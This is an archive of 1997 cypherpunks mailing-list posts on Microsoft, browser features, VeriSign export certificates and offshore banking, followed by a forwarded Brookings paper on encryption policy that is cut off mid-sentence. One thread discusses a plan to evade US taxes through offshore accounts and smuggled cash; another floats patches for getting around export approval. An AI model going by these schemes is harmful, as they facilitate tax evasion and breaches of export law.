-----BEGIN PGP SIGNED MESSAGE-----

At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:

>When microsoft has more power and money then most goverments I begin to 
>see no real difference between president Bill gates and any other
>totalrion dictator.

But how many divisions does Mr. Bill have?

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM89nfoVO4r4sgSPhAQFzDgQA3EBM9eOWTb0VFb/HCoUCpZ7bZQA05m9O
/k31uYM1G82PJm2sorhezHkluN4P4J0t6sq2EKUFK+tBiO2kvNufHbr3hCbB47fc
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+i7FZzESjKQ=
=FvQv
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Fri Jul 18 06:51:05 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 18 Jul 1997 21:51:05 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <3.0.2.32.19970718085427.0364b774@panix.com>
Message-ID: <199707181339.IAA14853@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970718085427.0364b774 at panix.com>, on 07/18/97 
   at 08:54 AM, Duncan Frissell  said:

>-----BEGIN PGP SIGNED MESSAGE-----

>At 10:52 AM 7/17/97 +1000, ? the Platypus {aka David Formosa} wrote:

>>When microsoft has more power and money then most goverments I begin to 
>>see no real difference between president Bill gates and any other
>>totalrion dictator.

>But how many divisions does Mr. Bill have?

Considering the current administration's greed I would imagine that Mr.
Bill could have the Marines land anywhere in the world on 72hr notice for
a couple of Million $$$.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
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Or+YhfUPhNA=
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From dlv at bwalk.dm.com  Fri Jul 18 07:00:32 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Jul 1997 22:00:32 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: 
Message-ID: 



? the Platypus {aka David Formosa}  writes:

> On Thu, 17 Jul 1997, William H. Geiger III wrote:
>
> > Well 90% of the "features" of these browsers are complete crap. I have yet
> > to see a web site that did anything constructive with frames and animated
> > gifs are compleetly worthless.
>
> I aggry however there are now meany sites that are now only have frame
> based interfaces.  When useing when useing lynx I have to decode the
> frames manuly.

I have the first the third editions of Ian raham's excellent
_HTML Sourcebook. The first edition has screen shots from dozens of
browsers. Where did they all go? :-)

> > I was thinking more allong the lines of providing a strong, secure GNU
> > browser for doing transactions over the net
>
> So basicly a non-nonsence bussness web-broser.  It would have to be
> devloped outside the cyber certion though.

Non-crypt stuff like frames and animated gifs could be added here.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Fri Jul 18 07:33:15 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 18 Jul 1997 22:33:15 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170915.FAA01650@upaya.multiverse.com>
Message-ID: 




> : BTW, we should differentiate generally between state action and private
> : action. Getting fucked by Microsoft != getting fucked by the government.
> : This is Libertarianism 101. Of course, I admit today the distinction was
> : blurry.
> 
> Corporations are just parts of the government that got away.  I have
> never understood why some, though far from all, libertarians bother
> to distinguish them from the other organs of the state. 

If I read this the right way I would suppose that you are saying that a 
corporate agreement to include rating systems in all browsers would be on 
a par with mandated inclusion pushed through by the government. Not so: 
The government uses force and violence to make individuals and companies 
do it`s bidding, if the government did not enforce laws they wouldn`t be 
wrong, because there would be no act of agression. Assuming a large 
company such as M$ were to decide any company not including rating 
systems in their browsers could be fined by M$, then that would be a 
similar situation to the one currently experienced with the government.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From rah at shipwright.com  Fri Jul 18 08:22:01 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 18 Jul 1997 23:22:01 +0800
Subject: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: 
Message-ID: 



At 8:54 am -0400 on 7/18/97, Duncan Frissell wrote:


> But how many divisions does Mr. Bill have?

Let's see...

How much did that trip to see Clinton on Martha's Vinyard cost last year?
The price of a jet flight and luxocondo rent? Whatever campaign / GAK
consideration Mr. Bill gave Clinton/Gore '96 at the time certainly called
off an entire anti-trust action by the Justice Department in a big hurry.
One could say it netted him all Mirosoft stock appreciation since, about
$18 billion, says Forbes this week.

Of course, payback's a bitch, as we're finding out now in the current
campaign to "save our children from the Internet".

To answer your question, Duncan, Mr. Bill could just go to Bill96 and call
up an Army division anywhere he wanted, I bet, but, frankly, he's much more
likely to ask for Microsoft Internet 99 (nee' Internet II) instead.
Complete, of course, with a brand new feature: Book-Entry Routing(tm).

Payback would be a bitch, again, but it's not Mr. Bill who's paying, is it?


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From jadams at seahawk.navy.mil  Fri Jul 18 08:51:58 1997
From: jadams at seahawk.navy.mil (John Adams)
Date: Fri, 18 Jul 1997 23:51:58 +0800
Subject: Censorware Summit Take II, from The Netly News
In-Reply-To: <3.0.2.32.19970717200041.0072b488@netcom10.netcom.com>
Message-ID: 



On Thu, 17 Jul 1997, Lucky Green wrote:

> Nothing wrong with releasing a GNU browser, but you will find it difficult
> to impossible to match the features of a modern browser such as
> Communicator and MSIE. Some may be happy with Lynx. Myself and most
> consumers will stick with Communicator and MSIE.

Is there any particular reason that NCSA's Mosaic is being ignored?  Sure,
it's not GNU (hence not free to *everyone*) but it's out there, and it
works.

---
John Adams -=- Computer Specialist & Network Guru  O-  NADEP Cherry Point
Pensacola Florida   +1.904.452.8551 DSN:922-8551  jadams at seahawk.navy.mil
PGP ID 0x84E18C41 via key server - opinions expressed are entirely my own






From azur at netcom.com  Fri Jul 18 08:58:40 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 18 Jul 1997 23:58:40 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: 



> On Thu, 17 Jul 1997, Tom Weinstein wrote:
>>Lucky Green wrote:
>> Even if Communicator would never check CRL's, not even in the future,
>> the mere fact that the Global ID cert have only a one year lifetime
>> means anyone relying on Global ID can be held hostage by threatening
>> to refuse to renew their cert. The reader may not be aware that unlike
>> other certs, the Global ID certs are *only* issued by VeriSign. You
>> can not go to a non-US CA and obtain such a cert. [Which of course
>> would defy the whole purpose of this rather slick deal :-]
>
>Aren't all certs VeriSign issues only valid for one year?  This isn't
>any different.
>
>There's nothing preventing another CA from getting permission from the
>USG to issue these magic certs.  We would have to distribute a patch,
>but I don't see any problem with that.

There's probably no technical reason these patches must originate with
Netscape.  Seems like a healthy cottage industry could spring up to supply
patch software to offshore companies which want magic certs w/o USG
approval.

--Steve







From tcmay at got.net  Fri Jul 18 08:58:42 1997
From: tcmay at got.net (Tim May)
Date: Fri, 18 Jul 1997 23:58:42 +0800
Subject: "Time to Walk the Walk down the Gang Plank"
In-Reply-To: <199707180421.XAA09823@mailhub.amaranth.com>
Message-ID: 



At 1:33 AM -0700 7/18/97, Ryan Lackey wrote:
>[regarding TC May's comment that it still wasn't practical to live off
>of exclusively offshore investment income tax-free, and that advocates
>of offshore banking did not even claim it was, but that it might be in
>10 years.]

I'll answer a few of Ryan's questions, but not in much detail. First,
because this is not a list oriented toward offshore investments and tax
avoidance strategies (though crypto anarchy touches on these issues).
Second, because opinions are especially cheap in this area. Third, because
advice/guidance depends critically on many factors, especially the amount
of money one has.

>What exactly makes it impractical to live off of the investment income
>from off-shore investments exclusively?  I'm kind of broke right now, but
>I was assuming that the combination of a set of offshore accounts
>and an offshore visa card used to pay for practically everything, as
>well as perhaps smuggled in cash and gold/etc. which could be sold outside
>of reported channels would be enough to allow you to pay untracededly
>for almost everything.  Then, if you did not have a primary residence

Well, first off, there's a huge difference between living at a "kind of
broke now" level and living at higher levels....those who are "kind of
broke" often pay minimal taxes anyway, so having their minimal assets, if
any, in a bank near the youth hostel in Amsterdam is hardly a comparison to
having, say, much larger amounts in offshore banks.

Getting the assets out is often a sticking point. Recall the oft-discussed
requirement for reporting offshore assets. And various bank and brokerage
requirements for reporting transfers. Attempts to evade these limits are
often successful...but sometimes not.

(A college friend of mine is married to an Assistant DA for the Brooklyn,
N.Y. area...one of her cases some years back involved prosecuting a guy who
was taking cash out of the country, sewed into the lining of his coat.)

Contrary to what is sometimes claimed here, it is not a matter of just
"wiring" one's assets out to a foreign site, and then being homefree.

By the way, the United States taxes foreign income for all U.S. citizens
for up to 10 years after their departure from U.S. soil. Doesn't mean they
can get this tax, but they will try. And those who don't play ball face
"failure to file" charges, etc. As computerization increases, border checks
will increase.

There have been several proposals, none yet enacted (fortunately), to
impose an "exit tax" on assets. That is, if one tries to transfer money out
a tax would be imposed. This even before the assets are sold, or income
realized. Similarities with the exit taxes of other repressive regimes are
obvious.


>in the United States, but rather spent life living in a college dorm
>(which is unlikely to flag anything at the IRS, being part of a bill which
>is routinely paid by third parties, often from outside of the US), on a
>boat registered outside of the US, or visiting places around the country
>and world, plus had some plausible way of hiding this extra income of
>yours, you could get by reporting only an abusrdly low amount of income
>from a part time job or something, and no one would be the wiser.

Sure, there are many possible scenarios. The "perpetual tourist" one is an
example. Again, the issue, espeically for folks like me, is gettign the
assets outside the view of the IRS in the first place. FinCEN is pretty
quick to spot transfers.

(All of you should be well familiar with "FinCEN," the Financial Crimes
Enforcement Network, a secretive task force made up of members of NSA, FBI,
IRS, CIA, Treasury, Commerce, etc. I first started hearing about it in
1990, and "Wired" did a big expose of it in one of its early issues. Web
searches will turn up various articles.)

Note also that stocks and bonds, "securities," are essentially no longer
available as "bearer instruments." That is, they are generally tied to some
identity, either as an account entry at the issuer, or similar. Thus, the
"stock certificate" I so cleverly hide amongst my papers when I board the
flight to Austria is *not* the actual asset! The banks and transfer agents
still have the asset (which is just a book entry somewhere), and my
certificate in Foobar, Inc. is just a piece of paper: it's location in my
safe deposit box or in Austria remains "secret"--until I sell some of it.
Then, magically, the appropriate notifications are mailed to the IRS. This
is basic stuff, but it's often forgotten by people.

I'm not saying there aren't ways to get assets out of the U.S. while still
allowing folks to travel and live in the U.S. But they carry risks, and are
getting harder to pull off. (If crypto anarchy, geodesic economies, digital
money, digital bearer instruments, etc. come to pass, things may be easier.
But we are quite a ways away on this.)


>Then, as your income/assets grew, you could continue to dump money from
>off-the-record sources into an offshore account, continue to use the
>offshore account for real and untraced purchases, and continue to draw
>your small salary to show that you are paying taxes and are just poor.
>Then, graduate from university and live the rest of your life vacationing
>around the world, or skip the first step if you're smart. (From what I
>know of IRS auditing procedures, they'd be remarkably more apt to find
>out if someone with a real income's income suddenly fell to $4k/year and
>stayed there from $100k+/year with no explanation given than if mine went
>from -$30k a year to -$26k/year, so starting when you're broke might be
>a decent plan.)

Starting to hide assets when one is poor is obviously an approach. However,
most of us didn't think this way when we were poor. Then we got "not poor."
With the assets very visible--houses, stock, bank accounts, etc.

Bear in mind that administering one's offshore bank accounts still requires
some communication. Trips to Europe or the Carribbean are certainly
possible. Much more could be written on this, but I'll pass.

>
>Are there any major obvious holes in this plan?  Now all I need is to
>do some useful, crypto-anarchist work and be
>paid under the table, perhaps taking a month or two vacation to
>Antigua or someplace in the process.
>

Good plan. Maybe you'll be near Jim Bell.

There are lots of black market fortunes being made everyday...I'd be
disingenuous to say otherwise. But some risks.

In any case, beware the currency reporting and transport laws. Declarations
of currency, as noted above.

A last note. Making money is more important than avoiding taxes on a much
smaller amount of money. I _hate_ paying the taxes I have to pay, but
having money is more important than avoiding taxes.

I for one have chosen to remain in California, for all of its political
faults. (But California is correcting many of these faults, such as its
elimination of "affirmative action" in the UC system, and so on. Many call
this a "right wing backlash," but I call it a breath of fresh air.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Fri Jul 18 09:37:42 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 19 Jul 1997 00:37:42 +0800
Subject: Brookings Inst. on crypto: "There are reasonable compromises"
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 18 Jul 1997 09:17:52 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Brookings Inst. on crypto: "There are reasonable compromises"

Morton's Steakhouse is a true Washington institution. Nestled
in the heart of lawyer country, between K and L streets, the
clientele are well-heeled lobbyists hungry for red meat. Which
is all you'll find at Morton's, where the menu lists a fine
selection of slabs, all thick, bloody, expensive.

I had lunch at Morton's yesterday with a colleague, a fellow
from the NSA, and a gentleman from the armed forces. We
talked Net-regulation, censorship, and hacking. Most of all
we talked encryption, and crypto-compromises. This is a theme
you'll see repeated in this recent policy paper from the
liberal Brookings Institution:

	There are reasonable compromises. A useful place to start
	is a national cryptography policy... rigorous oversight
	and accountability for government access to the keys
	needed to intercept and read coded data, negotiation of
	an agreement with our close allies on a global encryption
	standard, and formation of a government/private sector
	oversight body... the basic elements of a reasonable
	compromise are now in sight and may yet be achieved...

	Current initiatives that would allow export of any
	technological solution, of unlimited strength, subject
	only to the proviso that an acceptable key recovery
	system be maintained with a suitably defined and trusted
	party (including self-escrow), are headed in the right
	direction...

-Declan

------------------

no. 21
Deciphering the Cryptography Debate

July 1997
By Kenneth Flamm

FOR THE PAST FIVE YEARS, the U.S. government and
America's information industries-producers and users
of computers, communications systems, software,
information services-have been locked in a bitter and
highly technical battle over cryptography policy: the
rules of the game for techniques used to scramble and
unscramble data. Such encryption and decryption is
vital in maintaining the confidentiality of
information (whether business information, financial
transactions, personal medical records, or government
secrets) passing through the exploding web of computer
and communications links joining this nation together.
The hard fought and often arcane debate has come to an
inconclusive and unsatisfactory draw that does little
to deal effectively with any of the conflicting
objectives-civil liberties, economic competitiveness,
law enforcement, and national security-brought to the
bargaining table.

This does not have to be. There are reasonable
compromises. A useful place to start is a national
cryptography policy built around four key
elements-strong cryptography put into wide use, a
strengthened legal framework and electronic logging
system that provides rigorous oversight and
accountability for government access to the keys
needed to intercept and read coded data, negotiation
of an agreement with our close allies on a global
encryption standard, and formation of a
government/private sector oversight body to review
both the overall security of our national information
infrastructure and the voluntary testing and
certification of encryption and security products.



Why Is Cryptography Important?


UNTIL THE MIDDLE OF THIS CENTURY, codemaking and
codebreaking were primarily the concern of governments
protecting diplomatic and military communications.
World War II was a turning point for cryptography. The
first primitive electronic computers were built by the
United States and Britain during that war and used to
break German and Japanese codes. Using technology and
methods that remained closely guarded military secrets
until the late 1970s, the Allies succeeded in building
electronic machines to break the supposedly
unbreakable codes used to encrypt virtually all Axis
radio messages. This allowed the Allies, for example,
to read signals sent by German submarines as they
reported their locations, send forces to destroy them,
and win the vitally important battle for the North
Atlantic shipping lanes.

After the war, U.S. codebreakers continued to play a
central role in the development of the fastest
possible computers of the day, so-called
supercomputers. In the late 1960s, others in the
military funded research into damage-resistant digital
communications networks that gave us the first working
prototype of today's Internet.

As computers and network use also took hold within
business in the 1960s and 1970s, cryptography (mainly
the domain of government in earlier decades)
increasingly began to protect sensitive business
information stored in private sector computers. With
outside computer links through communications networks
growing, the dangers of unauthorized penetration into
sensitive computer databases through these external
ties also multiplied. The financial sector led these
technological changes. As global financial markets,
national banking systems, and local automated teller
machines all went electronic, cryptographic systems
were installed to protect sensitive data coursing
through the digital arteries of finance.

Today, we are teetering at the precipice of an even
wider transformation of the basic infrastructure for
commerce. Telecommunications services, retailing, and
the electric power grid are already organized around
vast computer networks. Multinational companies link
global operations over international networks. By
1999, all U.S. government benefits will be paid
electronically. Doctors will access data and
communicate remotely with patients, businesses will
buy services from consultants, contractors will sell
to government, researchers will provide policy advice,
seminars will be organized-all over computer networks.
Vast savings in time and resources and improvements in
business productivity seem possible. For this leap
forward in our economic infrastructure to be realized,
however, the information running through the system
will have to be authenticated, verified, protected
from unauthorized access, and guarded against witting
or unwitting corruption.

Equally profound changes are going on within the
military establishments whose investments initially
spurred the computer revolution. Our post-Desert Storm
military forces are as dependent on complex
computerized command, control, and communications
networks as commercial industry. The Defense
Department is today groping toward an information
technology-based Revolution in Military Affairs, a
future in which sensors, intelligence databases,
command and control systems, precision munitions, and
smart weapons platforms are seamlessly linked together
in real time to deliver measured military force
swiftly, surely, and over great distances.

In contrast to the situation of forty years ago,
enormous private sector investments are today driving
the engine of information technology, with the
military largely drawing on commercial technology for
its particular variant of the information revolution.
Commercial and military computer and communications
systems-like the core industrial infrastructure
underlying modern military power-are hopelessly
intermingled within the sinews of the U.S. information
economy. A new term, information warfare, explicitly
recognizes that an attack designed to disrupt our
military capability or will to fight is as likely to
target nominally civil infrastructure, like
telecommunications networks, the electric power grid,
the banking system, or air traffic control, as any
purely military system.

Widespread use of effective cryptography to secure and
protect the rivers of data flowing through computer
and communications systems is needed now to enable the
further development of the information infrastructure
for tomorrow's high-tech economy and to protect
military capabilities dependent on that same
information infrastructure.

What Are the Issues?


The heated debate over cryptography policy is
fundamentally driven by rapid technological change.
The price of computing power has been dropping 20 to
30 percent annually over decades now, an order of
magnitude greater than anything measured during the
first great Industrial Revolution of two centuries
ago.

Computing power is used to both make and break codes,
and as the cost of computing power plummets,
cryptographic systems that once offered adequate
protection for data become insecure. By the same
token, however, cheaper computers also make it cost
effective to encrypt data where once it would have
been uneconomic. Paradoxically, then, plummeting
computing costs have both enabled the widespread use
of encryption to defend information security and
increased the ability of moderate to large
organizations (in the private sector and governments)
to afford the computing resources needed to
successfully attack once-capable encryption systems.
To balance these shifting forces, the United States
must grapple with multiple and often conflicting
objectives.

First, there are constitutional issues. On the one
hand, the United States has a well-established
tradition of respect for privacy and civil liberties
that is a bedrock of our society. On the other hand,
there are few absolute rights-under court order,
communications can be legally intercepted, and private
homes may be entered and searched. Encryption-like
"speaking in tongues"-might even be interpreted as a
form of speech and offered the greater protection that
freedom of speech enjoys. Historically, the government
has not attempted to control the use of encryption
within domestic U.S. borders but instead limited its
export overseas. Similarly, court orders are required
to lawfully intercept domestic telephone
conversations, but not for foreign traffic. The legal
framework protecting data communications-including
encryption of data-has not changed to address the many
new channels for expression (and surveillance of
expression) opened up by the computer revolution. It
is now appropriate to establish an organized and
systematic legal framework for our information
society.

Second, we need to use strong cryptography to enable
electronic commerce on the burgeoning information
infrastructure that is going up all around us. The
potential economic benefits from moving forward
rapidly to locate our businesses on the information
superhighway seem large. Without ironclad security,
however, no business is going to drive its sensitive
data up the on-ramp. Strong cryptography is a small
but vital piece in the systems that will provide
information security.

Third, U.S. companies are world leaders in computers
and communications, where success in global markets is
an essential ingredient in maintaining competitive
advantage. But the market for information technology
is one in which capable foreign competitors stand
ready to pick up the baton of technological leadership
should American firms stumble. The economic
preeminence of U.S. information technology
companies-and the resulting benefits to the U.S.
economy-are arguably at risk should U.S. producers be
blocked from selling important technology that is
available from foreign competitors.

Law enforcement objectives, in contrast, argue for
controls on use of strong cryptography (while
recognizing that cryptography also protects against
electronic crimes). Since the dawn of the age of
telephony, lawful wiretapping has been viewed as an
essential tool for police, the legal extension of the
right to enter and search under warrant. In the
information age, with the proliferation of digital
technology, cryptography has the potential to deny
police the lawful access that they now enjoy to voice
and data communications.

National security has been another powerful argument
for limits on encryption. Though not often discussed
openly, interception of foreign communications traffic
is in all likelihood one of the most valuable and
reliable sources of intelligence for defense and
foreign policy purposes. Routine use of strong and
difficult-to-break cryptography in, say, the global
public telephone network would be a nightmare scenario
for both law enforcement and the intelligence
community.

But we should also recognize that while global
availability of strong encryption may limit our
offensive gathering of foreign intelligence and
perhaps in the future, offensive "information
warfare," the global economic success of U.S.
information technology producers also has a positive
value for offensive intelligence gathering. Even the
strongest encryption technology may be rendered
vulnerable by the way it is administered and used. A
global marketplace dominated by the products of the
United States and its allies-which will be well
understood by a substantial community of American
technologists-will be much more transparent to allied
intelligence gathering than a world market dominated
by the unfamiliar and poorly understood products of
others.

And strong encryption, even if pervasive and
unbreakable, will nonetheless have a positive national
security value in protecting U.S. information from the
snooping of adversaries, political and economic. It
will also have significant value as a defensive
rampart against the information warfare offensives of
adversaries. Arguably the United States, now reliant
on the most advanced and pervasive information
infrastructure in the world, is also the nation with
the most to lose to disruption by a successful
offensive attack.

Finally, we must acknowledge that as more and more
aspects of our personal and economic lives are
connected to, and accessible over, the information
superhighway-things like medical records, corporate
accounts, personal travel plans, even daily calendars
and diaries-the "wiretapping" metaphor for permitting
government access to electronic information begins to
break down. It is no strain to forecast a
not-too-distant digital future in which almost
everything-all sorts of personal information, records,
even art and music-is stored or communicated
electronically, connected to or accessible through
some computer network. As the Worldwide Web reaches
out to encompass all aspects of our lives, a
surreptitious government access hatch begins to
resemble a special door built into the basement of our
homes through which government can enter without our
knowledge or consent.

Our Constitution's protections against "unreasonable
searches and seizures" should be our guide as we chart
these deep and unknown waters. Government access to
private information should be governed by clear rules
that "we, the people" make after open debate. Even in
simpler times, there have been occasional but deeply
disturbing instances in which individuals in
government have abused powers granted for legitimate
law enforcement and national security purposes. As
pervasive electronic tendrils from the information
superhighway reach into the nooks and crannies of our
lives, the potential damage from poor judgment (or
worse yet, corruption) by some individual in
government will be enormous. It is vital that a system
with clear guidelines and strict accountability be put
into place to oversee our national encryption policy
as we strike a balance among the multiple, legitimate
objectives.

Where Are We Now?


In the late 1970s, industry, in collaboration with the
U.S. government, developed a Data Encryption Standard
(DES) based on coding keys (sequences of binary
digits, or bits) that were 56 bits long. Though widely
used today, steady advances in computer performance
now make this system vulnerable (commercial
supercomputers almost double in power every year,
sufficient to "break" a key that is one bit longer in
some given time). Much stronger encryption systems are
used within the military and other parts of the U.S.
government. Until 1996, the State Department did not
readily permit the export of encryption systems using
keys longer than 40 bits, which can be easily broken
today.

The Clinton administration, recognizing the need to
promote commercial use of stronger encryption,
unveiled such a system in April 1993 (actually
developed under previous administrations but not
publicly promoted). The system used special computer
circuitry dubbed the "Clipper" chip, with decoding
keys issued in two parts and held by two separate
government agencies-within the Treasury Department and
the Commerce Department. This Clipper chip initiative
championed the concept of "key escrow," with
government holding copies of the keys used to encrypt
data, and argued for its voluntary adoption by the
private sector as a solution to increasingly evident
data security problems.

Since only stronger encryption systems using the
Clipper chip, or similar technology, were likely to be
approved for export, critics argued that the system
was not really voluntary. No U.S. multinational
corporation would want to build and maintain two
separate computer and communications networks-one for
domestic use and one for international use.

There were other practical objections. It was unclear
how foreign governments would react to companies
operating in their nations giving the U.S. government
the keys to read encrypted communications, or even if
this would be required. There was suspicion that the
Clipper chip, with its proprietary
government-developed technology, was not as secure as
advertised and might even allow surreptitious
government interception without appropriate legal
safeguards. Even more important, there was concern
that a government-mandated technical solution was
being imposed on an industry that was far more capable
and responsive to continuing technological change than
any cobwebbed and inflexible government bureaucracy,
and that industry itself through market forces was
much better able to work out the best solutions to its
information security problems.

Furthermore, argued much of U.S. industry,
increasingly capable foreign producers were beginning
to market and sell encryption systems that were
stronger than what U.S. industry would be permitted to
sell in export markets. The net effect of
administration policy, in this case, would be to tie
the hands of U.S. industry and leave an important and
growing segment of the information industry to foreign
producers, free to sell any and all strong encryption
products to customers anywhere.

Stung by these criticisms, the Clinton administration
withdrew and regrouped. In mid-1994, it offered up a
new proposal in which "trusted third parties" within
the private sector, rather than the government itself,
would act as key escrow agents. This did little to
silence industry critics.

Finally, in 1996 the administration revealed a new
plan and made some important changes in the direction
of its policies. There would henceforth be no
restrictions on exports of cryptographic systems-based
on key length or technology-if those systems contained
so-called key recovery features. That is, if U.S.
exporters could demonstrate a viable plan in which
trusted third parties (possibly including
"self-escrow" within user organizations) would hold
(and supply to government when presented "appropriate
legal authority") information that would permit
recovery of code keys and decryption of data,
unrestricted export of such encryption systems would
be allowed. Over an interim period of two years,
exports of non-key recovery 56-bit cryptography
systems would be permitted by producers demonstrating
a commitment to develop viable key recovery systems.
Cryptographic systems would be reclassified as a
dual-use commercial product, rather than a munition,
and export controls transferred from the State
Department to the Commerce Department (though the
Department of Justice would now play a new advisory
role in the export licensing process). Finally, an
explicitly international framework would be sought,
with mutual access to national key recovery agents
negotiated with foreign governments through carefully
defined legal procedures.

Though some in the U..S. business community continued
to object, initial reaction was much more favorable
than with previous cryptography initiatives. The
government had worked with U.S. business in developing
the new initiative, and a number of major U.S.
computer and software companies voiced support for the
general principles outlined in the initiative. (A
system that enabled recovery of their own encrypted
business data, in fact, was actually useful to
companies in dealing with the risks of employee
turnover.) Others took a wait-and-see approach.

The wait was not a long one. Within months, a number
of the proposal's initial supporters had publicly or
privately defected as the details of its
implementation were revealed. One major sticking point
was the government's apparent desire to involve itself
in frequent and detailed reviews of proprietary
company business plans and progress in developing key
recovery systems, as a condition for continued
approval of interim exports of 56-bit systems.

By mid-1997, some additional problems had become
visible. A U.S. attempt at internationalizing the key
recovery principle met only limited success: a draft
policy from the Organization for Economic Cooperation
and Development (OECD) recommended only that the
issues be left to national discretion. While the
United States, Britain, and France publicly supported
the idea (and Japanese officials made it clear
privately that they too would cooperate), opinion in
Germany was divided, and other countries hesitated.
Dueling bills-establishing a legal framework for key
recovery, decontrolling cryptography export-were
debated on Capitol Hill. On the face of it, another
impasse was shaping up.

In fact, however, with a little more flexibility and
some degree of innovation, the basic elements of a
reasonable compromise are now in sight and may yet be
achieved. For the first time, the varied interests at
stake are close enough to a workable solution to make
establishment of a functioning and effective national
cryptography policy a real possibility.

Seeking Common Ground


Four basic elements make up the core of what a
national cryptography policy should do. First and
foremost, strong cryptography-strong enough to resist
the attacks that rapidly improving computer technology
will continue to breed-must be available for routine
business use. In an integrated global economy, this
also means that it must be usable and exportable
around the world. Current initiatives that would allow
export of any technological solution, of unlimited
strength, subject only to the proviso that an
acceptable key recovery system be maintained with a
suitably defined and trusted party (including
self-escrow), are headed in the right direction. This
will permit market forces to determine the most cost
effective and flexible technologies, build in the
ability to respond dynamically to continuing
innovations in computer and communications technology,
and yet maintain the ability of law enforcement and
national security authorities to gain lawful access to
encrypted communications when a critical national
interest makes such access imperative.

But the government should be more forthright in
presenting its case. Though it is true that no
constraints on domestic use of encryption are being
proposed, the only product likely to gain wide
acceptance in today's global economy is cryptography
that is exportable to one's foreign subsidiaries and
business partners. The government should be crystal
clear in acknowledging that this debate is in fact
about the encryption systems that will be used widely
within the domestic U.S. economy. Also, key recovery
remains an untried and untested system. It is entirely
possible that a better solution to the cryptography
problem may be discovered as computing technology
advances, and policy should be flexible enough to
adapt if this happens. The critical thing is the
principle: strong encryption, widely available, with
the potential for lawful decryption by accountable
authorities.

The government still must establish clear principles
and a transparent cryptography policy. The new export
regulations do not explicitly address a large number
of significant issues (for example, backwards
compatibility of key escrow with interim 56-bit
systems, length of time escrowed keys must be kept for
different types of data) that are now being defined in
a piecemeal and private fashion as individual
companies' key recovery product development plans are
submitted with license requests. Various "exceptions"
to the infant policy- permitting the export of
stronger encryption without key recovery, for example,
in specialized financial applications, or to banks and
foreign subsidiaries of U.S. companies- are announced
weekly. A "black box" process ("just submit it, and
we'll tell you if it's OK") that sets limits on
cryptography without open discussion and debate and
forces Americans to struggle to infer the policy from
the sparse and sometimes inaccurate details published
in the press is totally unacceptable in an area this
important to the nation.

A second core element of a new national policy-and one
that has yet to be carefully addressed by any broad
initiative-is the construction of a clear, up-to-date
legal framework for, and safeguards on, government
access to encrypted data and communications.
Government access is only tolerable in pursuing the
legitimate social objectives outlined earlier. The
legal framework defining privacy and freedom of speech
in electronic data and communications is currently a
crazy, patchwork quilt with many holes in it. The
administration's new rules specify that key recovery
agents must hand over keys to the government within
two hours after receiving "appropriate legal
authority" but nowhere define precisely what this
authority must be. Is a court order required, or
merely a signature from a political appointee, and
under what circumstances? Our laws should be debated
and updated to define the answers better and more
comprehensively, given current and foreseeable
technological realities.

Careful attention must also be paid to the potential
for abuse or corruption. Even after appropriate legal
authority is granted on paper for some narrow purpose,
there is typically substantial room for interpretation
as to what is "reasonable" in deciding how wide to
cast an electronic net in trapping suspicious
communications and how to deal with unexpected
discoveries that turn up. Most government officials
can be expected to behave in a responsible and lawful
way, but an excessively curious or aggressive, or even
corrupt, official using a legal interception to "surf"
through data or communications beyond its intended
scope creates a potential for damage that will grow
just as quickly as the information superhighway
itself. The same computer technology that makes
electronic communication so cheap and pervasive also
makes it possible to electronically record and log,
with a permanent and verifiable audit trail, any
government interception of electronic communications.
Just as financial services companies safeguard against
abuse by logging and taping telephone contacts with
customers, comprehensive logs and a verifiable audit
trail should be automatically recorded and stored
electronically in each and every instance that a
government official intercepts private data or
communications. In addition, tougher standards for
private abuse of personal data and illegal access to
private communications should be included in whatever
new legal framework is adopted, and significant
penalties should be defined.

Third, a national cryptography policy must recognize
that the problems-and solutions-outlined above are
inherently international in scope. Law enforcement,
national security, regulation and oversight of global
finance and trade are all areas that span national
boundaries today and require cooperation among
